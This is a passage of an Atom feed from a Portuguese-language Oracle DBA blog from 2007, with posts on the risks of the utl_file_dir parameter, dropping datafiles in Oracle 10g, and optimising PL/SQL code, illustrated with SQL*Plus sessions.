0);"&gt;ERROR:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORA-12545: Connect failed because target host or object does not exist&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Enter user-name:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ERROR:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORA-12545: Connect failed because target host or object does not exist&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Enter user-name:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ERROR:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORA-12545: Connect failed because target host or object does not exist&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SP2-0157: unable to CONNECT to ORACLE after 3 attempts, exiting SQL*Plus&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[ora92@anakin ~]$&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Vixi!&lt;br /&gt;Bom, provavelmente a essa altura, o telefone já não pára de tocar, seu chefe e o chefe do seu chefe devem estar ai atrás da sua cadeira, perguntando "O que acontece?", "Tem previsão?", "Qual a severidade?"...&lt;br /&gt;&lt;br /&gt;Concluindo: é um cenário dantesco que não é impossível de acontecer, imaginado para contextualizar a vulnerabilidade de um parâmetro mal dimensionado e insistente na medida em que não muda-se os paradigmas e se mantém vícios antigos porque "sempre foi assim". Todo esse exemplo seria impossível, caso o parâmetro &lt;span style="font-style: italic; font-weight: bold;"&gt;utl_file_dir&lt;/span&gt; não estivesse setado, então o analista teria que solicitar ao DBA para criar um diretório lógico no oracle (&lt;a href="http://download-east.oracle.com/docs/cd/B19306_01/server.102/b14200/statements_5007.htm#SQLRF01207"&gt;CREATE DIRECTORY&lt;/a&gt;) apontando para o diretório físico no sistema operacional &lt;span style="font-weight: bold;"&gt;restrito&lt;/span&gt; a seu trabalho. No próximo release, tire um tempo para testar e conhecer as &lt;span style="font-style: italic;"&gt;new features&lt;/span&gt;, ajuda bastante.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-2861643064029676846?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/2861643064029676846/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=2861643064029676846' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/2861643064029676846'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/2861643064029676846'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/03/velhos-vcios.html' title='Velhos Vícios'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-9213724943812269878</id><published>2007-03-27T14:05:00.000-03:00</published><updated>2007-03-27T14:26:16.529-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='New Feature'/><title type='text'>Drop Datafile (Aprofundando...)</title><content type='html'>Recebi alguns feedbacks sobre o &lt;a href="http://mportes.blogspot.com/2007/03/drop-datafile-10g.html"&gt;post anterior&lt;/a&gt;, portanto vamos estudar um pouco mais o drop datafile.&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Visitei hoje seu blog e li o artigo sobre como dropar um datafile. No exemplo você dropa um datafile de uma tablespace que possui dois datafile.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;O que acontece com o conteudo daquele datafile? Porque ate onde eu sei não é possivel colocarmos uma determinada tabela por exemplo em um datafile específico, somente especificamos em qual tablespace queremos alocar a tabela e o proprio banco distribui pelos datafiles.&lt;/span&gt;&lt;br /&gt; &lt;br /&gt;&lt;span style="font-style: italic;"&gt;Os dados do datafile dropado são jogados para o outro datafile? Ou todos os objetos que estavam contidos inteiramente ou parcialmente no datafile também são dropados?&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;Não, &lt;span style="font-weight: bold;"&gt;os dados não são jogados em outro datafile&lt;/span&gt;, neste caso não é permitido o drop datafile e não só nesse caso. Veja:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create tablespace tbs_deldf datafile&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2    '/oracle/tmp/df1.dbf' size 10m,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3    '/oracle/tmp/df2.dbf' size 10m&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Tablespace created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; col file_name format a50&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; select file_name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2    from dba_data_files&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3   where tablespace_name = 'TBS_DELDF'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;FILE_NAME&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/oracle/tmp/df1.dbf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/oracle/tmp/df2.dbf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;2 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; drop table t;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Table dropped.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create table t tablespace tbs_deldf as select * from all_objects;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Table created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; insert /*+ append */ into t select * from t;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;51191 rows created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; commit;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Commit complete.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; select count(*) from t;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;     COUNT(*)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       102382&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; select file_name, round( bytes/1024/1024 ) mbytes,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2         round( ratio_to_report(bytes) over () * 100, 2 ) pct&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3    from (&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4  select sum(a.bytes) bytes, b.file_name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5    from dba_extents a,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6         dba_data_files b&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7   where a.owner = USER&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  8     and a.segment_name = 'T'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  9     and a.segment_type = 'TABLE'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 10     and a.file_id = b.file_id&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 11   group by b.file_name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 12         )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 13   order by file_name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 14  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;FILE_NAME                                                 MBYTES           PCT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-------------------------------------------------- ------------- -------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/oracle/tmp/df1.dbf                                            6            50&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/oracle/tmp/df2.dbf                                            6            50&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;2 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Fizemos uma carga e o oracle distribuiu os dados uniformemente através dos datafiles, portanto, 50% para cada. Nesse caso, o comando já não é mais permitido, porque os datafiles não estão vazios.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; alter tablespace tbs_deldf drop datafile '/oracle/tmp/df2.dbf';&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;alter tablespace tbs_deldf drop datafile '/oracle/tmp/df2.dbf'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;*&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ERROR at line 1:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;ORA-03262: the file is non-empty&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Outra restrição para o comando, não é permitido dropar o primeiro datafile da tablespace (no momento da criação).&lt;br /&gt;&lt;pre style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; drop table t;&lt;br /&gt;&lt;br /&gt;Table dropped.&lt;br /&gt;&lt;br /&gt;ops$marcio:LX10G&gt; alter tablespace tbs_deldf drop datafile '/oracle/tmp/df1.dbf';&lt;br /&gt;alter tablespace tbs_deldf drop datafile '/oracle/tmp/df1.dbf'&lt;br /&gt;*&lt;br /&gt;ERROR at line 1:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ORA-03263: cannot drop the first file of tablespace TBS_DELDF&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Drop é suficiente para limpar um datafile? Não! Não podemos esquecer que um drop na versão 10g, na verdade marca a tabela como dropada, mas o datafile ainda não está vazio enquanto não purgamos os dados. Nesse caso, o comando também falha.&lt;br /&gt;&lt;pre style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; alter tablespace tbs_deldf drop datafile '/oracle/tmp/df2.dbf';&lt;br /&gt;alter tablespace tbs_deldf drop datafile '/oracle/tmp/df2.dbf'&lt;br /&gt;*&lt;br /&gt;ERROR at line 1:&lt;br /&gt;ORA-03262: the file is non-empty&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ops$marcio:LX10G&gt; purge recyclebin;&lt;br /&gt;&lt;br /&gt;Recyclebin purged.&lt;br /&gt;&lt;br /&gt;ops$marcio:LX10G&gt; alter tablespace tbs_deldf drop datafile '/oracle/tmp/df2.dbf';&lt;br /&gt;&lt;br /&gt;Tablespace altered.&lt;br /&gt;&lt;/pre&gt;Outro caso é quando a tablespace possui apenas um datafile.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; alter tablespace tbs_deldf drop datafile '/oracle/tmp/df1.dbf';&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;alter tablespace tbs_deldf drop datafile '/oracle/tmp/df1.dbf'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;*&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ERROR at line 1:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORA-03261: the tablespace TBS_DELDF has only one file&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;É importante frizar também que o comando drop datafile não substitui o alter database ... offline drop, eles convivem e cada qual tem sua aplicação. &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-9213724943812269878?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/9213724943812269878/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=9213724943812269878' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/9213724943812269878'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/9213724943812269878'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/03/drop-datafile-aprofundando.html' title='Drop Datafile (Aprofundando...)'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-4574191719564880976</id><published>2007-03-26T20:40:00.000-03:00</published><updated>2007-03-26T21:21:06.823-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='New Feature'/><title type='text'>Drop Datafile (10g)</title><content type='html'>Até a versão 10g, dropar um datafile era uma tarefa &lt;span style="font-style: italic;"&gt;"quase"&lt;/span&gt; impossível, apesar da nota no metalink sobre como &lt;a href="https://metalink.oracle.com/metalink/plsql/f?p=130:14:7886263174335786393::::p14_database_id,p14_docid,p14_show_header,p14_show_help,p14_black_frame,p14_font:NOT,111316.1,1,1,1,helvetica"&gt;dropar datafile&lt;/a&gt;, convenhamos, não é uma ação para uma sexta-feira à tarde. Porém, com a versão 10g, isso virou um comando bastante simples.&lt;br /&gt;&lt;pre style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;ops$marcio:LX10G&gt; create tablespace tbs_deldf datafile&lt;br /&gt;  2    '/oracle/tmp/df1.dbf' size 10m,&lt;br /&gt;  3    '/oracle/tmp/df2.dbf' size 10m&lt;br /&gt;  4  /&lt;br /&gt;&lt;br /&gt;Tablespace created.&lt;br /&gt;&lt;br /&gt;ops$marcio:LX10G&gt;&lt;br /&gt;ops$marcio:LX10G&gt; col file_name format a50&lt;br /&gt;ops$marcio:LX10G&gt; select file_name&lt;br /&gt;  2    from dba_data_files&lt;br /&gt;  3   where tablespace_name = 'TBS_DELDF'&lt;br /&gt;  4  /&lt;br /&gt;&lt;br /&gt;FILE_NAME&lt;br /&gt;--------------------------------------------------&lt;br /&gt;/oracle/tmp/df1.dbf&lt;br /&gt;/oracle/tmp/df2.dbf&lt;br /&gt;&lt;br /&gt;2 rows selected.&lt;br /&gt;&lt;br /&gt;ops$marcio:LX10G&gt;&lt;br /&gt;ops$marcio:LX10G&gt; alter tablespace tbs_deldf drop datafile '/oracle/tmp/df2.dbf';&lt;br /&gt;&lt;br /&gt;Tablespace altered.&lt;br /&gt;&lt;br /&gt;ops$marcio:LX10G&gt;&lt;br /&gt;ops$marcio:LX10G&gt; select file_name&lt;br /&gt;  2    from dba_data_files&lt;br /&gt;  3   where tablespace_name = 'TBS_DELDF'&lt;br /&gt;  4  /&lt;br /&gt;&lt;br /&gt;FILE_NAME&lt;br /&gt;--------------------------------------------------&lt;br /&gt;/oracle/tmp/df1.dbf&lt;br /&gt;&lt;br /&gt;1 row selected.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Apenas uma adendo, o comando não funciona para tablespaces do tipo &lt;a href="http://mportes.blogspot.com/2005/06/tablespace-resize-10g.html"&gt;bigfile&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-4574191719564880976?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/4574191719564880976/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=4574191719564880976' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/4574191719564880976'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/4574191719564880976'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/03/drop-datafile-10g.html' title='Drop Datafile (10g)'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-1573556553037643085</id><published>2007-03-21T19:41:00.000-03:00</published><updated>2007-03-22T01:07:33.799-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Performance'/><title type='text'>Como Otimizar um PL/SQL</title><content type='html'>Um colega me disse que é difícil otimizar programas. Realmente, se pensarmos bem, não é uma tarefa que se ensina em curso. A maioria dos DBAs também têm dificuldade em otimizar sentenças SQL ou códigos PL/SQL, porque não é tarefa de seu dia-a-dia. Quanto mais próximo do código, mais são as chances do profissional aprender como escrever programas eficientes em PL/SQL. Também existem os códigos egípcios puxados para o grego, cujo autor é o único que os entende. Já viu!?  As variáveis são definidas como "x", "y" e "z" sem dizer coisa alguma além de não oferecer sequer um comentário. Terrível! "&lt;span style="font-style: italic;"&gt;Indentação&lt;/span&gt;"? Para quê? Algumas vezes dá vontade de chamar o &lt;a href="http://en.wikipedia.org/wiki/List_of_minor_characters_in_the_Matrix_series#Tank"&gt;Tank&lt;/a&gt; para decifrar.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:85%;" &gt;&lt;span style="font-style: italic;"&gt;Antes de começar, um lembrete: O que voce lerá daqui para frente serviu a mim, isso não quer dizer que servirá a voce. Tome as dicas aqui como referência e não deixe de fazer o seu guia para otimização.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Por Onde Começar?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Entendimento! Esse é o começo. Entender o código, o que faz, qual o caminho está percorrendo, quais as tabelas envolvidas, quantidade de linhas, índices, seletividade, ou seja, todo o conhecimento que provavelmente qualquer profissional acumula durante a carreira é usado na otimização de código.&lt;br /&gt;&lt;br /&gt;No começo, é usar o que já sabemos. Vou usar meu exemplo: na minha carreira até agora, tudo que eu posso fazer usando SQL puro, faço (em termos de programação em banco de dados Oracle). Então, quando me pedem para olhar (otimizar) uma procedure, vou primeiro &lt;span style="font-weight: bold;"&gt;entender&lt;/span&gt; o programa. Validar com o negócio se realmente eles precisam da rotina (&lt;span style="font-style: italic;"&gt;muitas vezes, uma rotina é desnecessária e está lá, porque ninguém nunca perguntou&lt;/span&gt;). Verificar se eu não poderia escrever aquilo de outra forma, usando SQL puro. A técnica é parecida com tirar cascas de cebola, uma camada de cada vez. Nunca vou direto no tkprof ou autotrace, essa parte é do refinamento, quando já reescrevi o procedimento.&lt;br /&gt;&lt;br /&gt;Vamos desenvolver um pequeno exemplo: as tabelas envolvidas serão &lt;span style="font-style: italic;"&gt;EMP&lt;/span&gt; e &lt;span style="font-style: italic;"&gt;DEPT&lt;/span&gt; do esquema SCOTT, elas estão disponíveis em $ORACLE_HOME/utlsampl.sql. Farei um backup da &lt;span style="font-style: italic;"&gt;dept&lt;/span&gt; na &lt;span style="font-style: italic;"&gt;dept_old (create table dept_old as select * from dept),&lt;/span&gt; depois removo todas as linhas da &lt;span style="font-style: italic;"&gt;dept&lt;/span&gt; e tomando a &lt;span style="font-style: italic;"&gt;dept_old&lt;/span&gt; como base, irei repopular a &lt;span style="font-style: italic;"&gt;dept&lt;/span&gt; caso o departamento (deptno) esteja em uso na &lt;span style="font-style: italic;"&gt;emp.&lt;/span&gt; Bastante simples. Agora vamos ver o código para isso.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;declare&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;     l_exist         number(1) default 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;     l_dname         dept_old.dname%type;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;     l_loc           dept_old.loc%type;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;     for x in ( select deptno from emp )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;     loop&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;             select count(*) into l_exist&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;               from dept&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;              where dept.deptno = x.deptno;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;             if ( l_exist = 0 ) then&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                select dname, loc into l_dname, l_loc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  from dept_old&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                 where dept_old.deptno = x.deptno;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                insert into dept values ( x.deptno, l_dname, l_loc );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;             end if;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;     end loop;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;O que pensar de um código assim? Horrível não? Começando com o temido &lt;span style="font-style: italic; font-weight: bold;"&gt;switch de contexto&lt;/span&gt;, caminhando com &lt;span style="font-weight: bold; font-style: italic;"&gt;count(*)&lt;/span&gt; sem restrição para testar se o registro existe e finalizando com um select que popula variáveis para finalmente inserir na dept. Ok, muita calma, leia o código e entenda o que faz. Mas entenda a semântica, não a sintaxe, ou seja, entenda o significado. Resumindo: insira um registro na &lt;span style="font-style: italic;"&gt;dept&lt;/span&gt; caso exista na &lt;span style="font-style: italic;"&gt;emp&lt;/span&gt; da &lt;span style="font-style: italic;"&gt;dept_old&lt;/span&gt;. Concorda? Ora, ele vem de um cursor da emp, testa com count(*) para saber se já existe na dept e se não existir insira usando dados da dept_old.&lt;br /&gt;&lt;br /&gt;Agora vou tentar explicar o que vejo, iniciando com o switch de contexto, que é a troca seguida entre a engine de SQL e PL/SQL. Exatamente como acontece no código acima, dentro de um cursor utiliza-se sentenças SQL.&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 255);"&gt;(1) OPEN x in ( &lt;span style="color: rgb(0, 153, 0);"&gt;SELECT ...&lt;/span&gt; )&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 255);"&gt;loop&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;       &lt;span style="color: rgb(0, 153, 0);"&gt;(2) SELECT y INTO ... FROM ...;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(0, 153, 0);"&gt;   (3) UPDATE z SET w=... WHERE x.m =...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold; color: rgb(51, 51, 255);"&gt;end loop;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;Em (1) a &lt;span style="color: rgb(0, 153, 0);"&gt;engine de SQL&lt;/span&gt; executa a query e envia para a &lt;span style="color: rgb(51, 51, 255);"&gt;engine de PL/SQL&lt;/span&gt; que fará o looping. O problema é que em (2) há novamente uma sentença em SQL que a &lt;span style="color: rgb(51, 51, 255);"&gt;engine de PL/SQL&lt;/span&gt; não executa, então novamente há cessão de execução à &lt;span style="color: rgb(0, 153, 0);"&gt;engine de SQL&lt;/span&gt;, que executa e &lt;span style="font-weight: bold;"&gt;VOLTA&lt;/span&gt; para &lt;span style="color: rgb(51, 51, 255);"&gt;engine de PL/SQL,&lt;/span&gt; para seguir com o looping... mas... em (3) &lt;span style="font-weight: bold;"&gt;novamente&lt;/span&gt; uma sentença SQL e a &lt;span style="color: rgb(0, 153, 0);"&gt;engine de SQL&lt;/span&gt; é chamada, executa e devolve para &lt;span style="color: rgb(51, 51, 255);"&gt;engine de PL/SQL&lt;/span&gt;, para a finalização da &lt;span style="font-weight: bold;"&gt;primeira linha do looping&lt;/span&gt;. Basicamente, isso é &lt;span style="font-style: italic;"&gt;switch de contexto&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Isso deve ser evitado, melhor, deveria ser proibido! Então, já descobrimos o primeiro problema do nosso código &lt;span style="font-weight: bold;"&gt;e, só isso, já seria argumento suficiente para reescrevê-lo&lt;/span&gt;. Seguindo, temos um teste de existência. Honestamente, eu NUNCA testo nada para inserir ou atualizar, eu simplesmente envio o comando, se não existe, paciência! E quando tenho que testar, coloco uma restrição para não haver problema de performance. Em nosso exemplo, temos:&lt;br /&gt;&lt;blockquote style="font-style: italic; font-weight: bold;"&gt;select count(*) into l_exist&lt;br /&gt;from dept&lt;br /&gt;where dept.deptno = x.deptno;&lt;br /&gt;&lt;/blockquote&gt;Não há limite para o count(*), se a tabela &lt;span style="font-style: italic;"&gt;dept&lt;/span&gt; tivesse &lt;span style="font-weight: bold;"&gt;1 milhão &lt;/span&gt;de linhas ele faria a contagem de 1 milhão de linhas (POR NADA) e devolveria em l_exist. Realmente o que é preciso para saber que um &lt;span style="font-style: italic;"&gt;dept&lt;/span&gt; existe? Apenas uma linha, portanto, seria muito mais eficiente se puséssemos no predicado uma restrição como: AND ROWNUM=1, porque basta achar 1 registro. O otimizador conhece o rownum=1 e faz um &lt;span style="font-weight: bold;"&gt;COUNT STOPKEY&lt;/span&gt;.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; select count(*) from t1;&lt;/span&gt;&lt;br 